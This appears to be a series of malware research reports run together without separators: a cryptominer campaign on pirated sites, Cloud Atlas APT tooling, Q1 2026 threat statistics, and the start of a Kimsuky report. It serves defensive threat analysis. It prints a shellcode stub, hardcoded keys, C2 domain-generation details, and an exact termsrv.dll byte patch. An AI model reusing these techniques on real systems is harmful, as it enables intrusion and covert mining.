The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.
The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.
The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).
In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.
This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, itβs safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.
Potential distribution scale
As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.
The popularity of these sites increases the potential scale of the minerβs distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.
The downloadable archive
The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.
The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.
DLL analysis
Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.
Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:
Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.
This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:
The header was intentionally modified to make it into valid shellcode:
pop r10
push r10
call $+5
pop rcx
sub rcx, 9
mov rax, rcx
add rax, 5C1000h
call rax
retn
This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.
Going forward, we will refer to this decrypted PE file as the main module.
Main module
The moduleβs behavior across its different operational stages is detailed below:
Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victimβs device:
Processor information
The serial number of the C:/ drive
Whether the process was launched with elevated privileges
The process start time in Unix timestamp format
The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:
The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.
DNS query crafting code
The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Letβs look at both scenarios:
1. The process is launched with elevated privileges.
In this case, preparatory steps precede the miner launch:
The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
It kills Microsoftβs Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.
This is done to maximize the minerβs potential runtime on the device.
Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.
Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:
RAT agent β into conhost.exe
Watchdog β into explorer.exe
CPU miner β into explorer.exe
GPU miner β into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.
2. The process is launched with standard privileges.
In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:
Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
If execution occurs from the Sandboxie folder:
Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.
A successful installation requires all of the following conditions to be met:
The GoogleUpdateTaskMachineQC service exists in the system.
The Start value for this service is set to 2 (Automatic).
The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
This file exists on disk.
Watchdog
The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:
class FileContainer{
wchar_t* fullPath; // full path to file
size_t* ptrSize; // pointer to file size
uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};
As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.
To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.
RAT agent
This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:
http://{domain}.space/index.php?authorization=1
http://{domain}.site/index.php? backup version
The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.
At the time of writing this, the following domains were registered:
2025, April-July β 5d14vnfb[.]space
2025, August-November β r7mvjl67[.]space
2025, December β zgj1tam9[.]space
2026, January-March β jeaw520i[.]space
2026, AprilβJuly β qdmagva5[.]space
An example of a request to the C2 server is provided below:
As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.
This information is likely used by the backend to check for virtual or debugging environments.
The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):
The authenticity of the message is verified via the sign signature using the serverβs public key, which is embedded in the executable.
Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.
The table below lists the four remote control commands for the RAT agent module.
Code
Purpose
1
Execution of an arbitrary command
2
Reflexive execution of the provided PE file within the explorer.exe process
3
Execution of the provided shellcode
4
Exit
The miners
Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.
Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:
β{domain}.strangled.netβ
β{domain}.ignorelist.comβ
β{domain}.ftp.shβ
β{domain}.zanity.netβ
As with the RAT agent component, the server address is generated from the current date β in this case, the server address changes every week. This results in quite a large number of domains for the 2020β2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.
The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.
Conclusion
Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.
Our products detect this malware with the following Generic verdicts:
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
Technical details
Initial infection
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
Step
Action
Description
1
Β Drops β$temp\fixed.ps1β
Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2
Creates βRunβ registry key βYandexBrowser_setupβ for β$temp\fixed.ps1β startup
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3
Downloads and drops β$temp\rar.zipβ
Extracts β*.pdfβ from the downloadedΒ β$temp\rar.zipβ
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4
Extracts β*.pdfβ from the downloadedΒ β$temp\rar.zipβ
Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6
Opens extracted decoy document β*.pdfβ with userβs default software
User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30β120 seconds for background operations.
6
ExecutesΒ βtaskkill.exe /F /Im winrar.exeβ
Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7
Searches and deletes βrar.zipβ, β*.pdf.zipβ and β*.pdf.lnkβ
Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8
ExecutesΒ β$temp\fixed.ps1β
Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.
Fixed.ps1 (loader)
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Fixed.ps1::Payload (VBCloud dropper)
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.
Fixed.ps1::Payload (PowerShower)
This module installs a second backdoor called PowerShower on the system. We donβt have the specific script that performs this installation, but we assume itβs performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victimβs infrastructure. PowerShower can perform the following tasks:
Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct βKerberoastingβ attacks (stealing password hashes of Active Directory accounts).
PowerShower is dropped onto the system via the path βC:\Users\[username]\Pictures\googleearth.ps1β.
Contents of the googleearth.ps1(PowerShower)
PowerShower::Payload (credential grabber)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.
The full launch chain looks like this:
The full Base64-decoded script is given below.
Multi-user RDP by patching termsrv.dll
Moving laterally across the victimβs network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
Reverse SSH tunneling
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victimβs host, the attackers run VBS scripts via PAExec or PsExec.
Weβve seen three types of scripts:
Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Patched OpenSSH
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
RevSocks
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victimβs network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
Tor tunneling
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
PowerCloud
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Browser checker
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victimβs habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
Victims
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldnβt help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB
However, TTPs are still differentiated.
Conclusion
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackersβ actions on compromised systems. We will continue to closely monitor the groupβs activity and describe their new tools and techniques.
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
Quarterly figures
In Q1Β 2026:
Kaspersky products blocked more than 343 million attacks that originated with various online resources.
Web Anti-Virus responded to 50 million unique links.
File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
2938 new ransomware variants were detected.
More than 77,000 users experienced ransomware attacks.
14% of all ransomware victims whose data was published on threat actorsβ data leak sites (DLS) were victims of Clop.
More than 260,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.
A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.
In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.
In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.
In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.
Vulnerabilities and attacks
The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each groupβs DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacingΒ Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).
Number of each groupβs victims according to its DLS as a percentage of all groupsβ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In Q1Β 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3Β 2025 levels following a surge in Q4Β 2025.
Number of new ransomware modifications, Q1 2025 β Q1 2026 (download)
Number of users attacked by ransomware Trojans
Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.
Number of unique users attacked by ransomware Trojans, Q1 2026 (download)
Attack geography
TOPΒ 10 countries and territories attacked by ransomware Trojans
Country/territory*
%**
1
Pakistan
0.79
2
South Korea
0.64
3
China
0.52
4
Tajikistan
0.40
5
Libya
0.38
6
Turkmenistan
0.36
7
Iraq
0.35
8
Bangladesh
0.33
9
Rwanda
0.30
10
Cameroon
0.28
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
TOPΒ 10 most common families of ransomware Trojans
Name
Verdict
%*
1
(generic verdict)
Trojan-Ransom.Win32.Gen
33.90
2
(generic verdict)
Trojan-Ransom.Win32.Crypren
6.38
3
WannaCry
Trojan-Ransom.Win32.Wanna
5.87
4
(generic verdict)
Trojan-Ransom.Win32.Encoder
4.68
5
(generic verdict)
Trojan-Ransom.Win32.Agent
3.80
6
LockBit
Trojan-Ransom.Win32.Lockbit
2.80
7
(generic verdict)
Trojan-Ransom.Win32.Phny
1.99
8
(generic verdict)
Trojan-Ransom.MSIL.Agent
1.96
9
(generic verdict)
Trojan-Ransom.Python.Agent
1.93
10
(generic verdict)
Trojan-Ransom.Win32.Crypmod
1.89
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In Q1Β 2026, Kaspersky solutions detected 3485 new modifications of miners.
Number of new miner modifications, Q1 2026 (download)
Number of users attacked by miners
In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q1 2026 (download)
Attack geography
TOPΒ 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.19
2
Turkmenistan
3.06
3
Mali
2.63
4
Tanzania
1.62
5
Bangladesh
1.06
6
Ethiopia
0.95
7
Panama
0.88
8
Afghanistan
0.79
9
Kazakhstan
0.77
10
Bolivia
0.75
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
In Q1Β 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.
In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.
Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.
TOPΒ 20 threats to macOS
Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOPΒ 20.
Geography of threats to macOS
TOPΒ 10 countries and territories by share of attacked users
Country/territory
%* Q4Β 2025
%* Q1Β 2026
China
1.28
1.97
France
1.18
1.07
Brazil
1.13
0.98
Mexico
0.72
0.52
Germany
0.71
0.45
The Netherlands
0.62
0.75
Hong Kong
0.49
0.53
India
0.42
0.48
Russian Federation
0.34
0.37
Thailand
0.24
0.27
* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q1Β 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4Β 2025.
Distribution of attackersβ sessions in Kaspersky honeypots (download)
TOPΒ 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.
Attacks on IoT honeypots
The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.
Country/territory
Q4Β 2025
Q1Β 2026
United States
16.10%
23.74%
The Netherlands
15.78%
17.57%
Germany
12.07%
10.34%
Panama
7.72%
6.34%
India
5.32%
6.05%
Romania
4.05%
5.82%
Australia
1.62%
4.61%
Vietnam
4.21%
3.50%
Russian Federation
3.79%
2.35%
Sweden
2.25%
2.09%
China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.
Country/territory
Q4Β 2025
Q1Β 2026
China
53.64%
39.54%
Pakistan
14.27%
27.31%
Russian Federation
8.20%
8.25%
Indonesia
8.58%
6.71%
India
4.85%
4.66%
Brazil
0.06%
3.30%
Argentina
0.02%
2.51%
Nigeria
1.22%
1.38%
Thailand
0.01%
0.55%
Sweden
0.54%
0.55%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries and territories that served as sources of web-based attacks
The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In Q1Β 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.
Web-based attacks by country/territory, Q1 2026 (download)
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for usersβ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Venezuela
9.33
2
Hungary
8.16
3
Italy
7.58
4
Tajikistan
7.48
5
India
7.21
6
Greece
7.13
7
Portugal
7.10
8
France
7.05
9
Belgium
6.83
10
Slovakia
6.80
11
Vietnam
6.62
12
Bosnia and Herzegovina
6.57
13
Canada
6.56
14
Serbia
6.50
15
Tunisia
6.36
16
Qatar
6.01
17
Spain
5.95
18
Germany
5.95
19
Sri Lanka
5.89
20
Brazil
5.88
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average during the quarter, 4.73% of usersβ computers worldwide were subjected to at least one Malware web attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.
In Q1Β 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
47.96
2
Tajikistan
31.48
3
Cuba
31.03
4
Yemen
29.59
5
Afghanistan
28.47
6
Burundi
26.93
7
Uzbekistan
24.81
8
Syria
23.08
9
Nicaragua
21.97
10
Cameroon
21.60
11
China
21.09
12
Mozambique
21.02
13
Algeria
20.64
14
Democratic Republic of the Congo
20.63
15
Bangladesh
20.44
16
Mali
20.35
17
Republic of the Congo
20.23
18
Madagascar
20.00
19
Belarus
19.78
20
Tanzania
19.52
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, Malware local threats were detected at least once on 11.55% of usersβ computers during Q1.
Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the groupβs latest campaigns.
Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the groupβs arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the groupβs ongoing adaptation and evolution.
Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.
This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before β offering new insight beyond what has already been published.
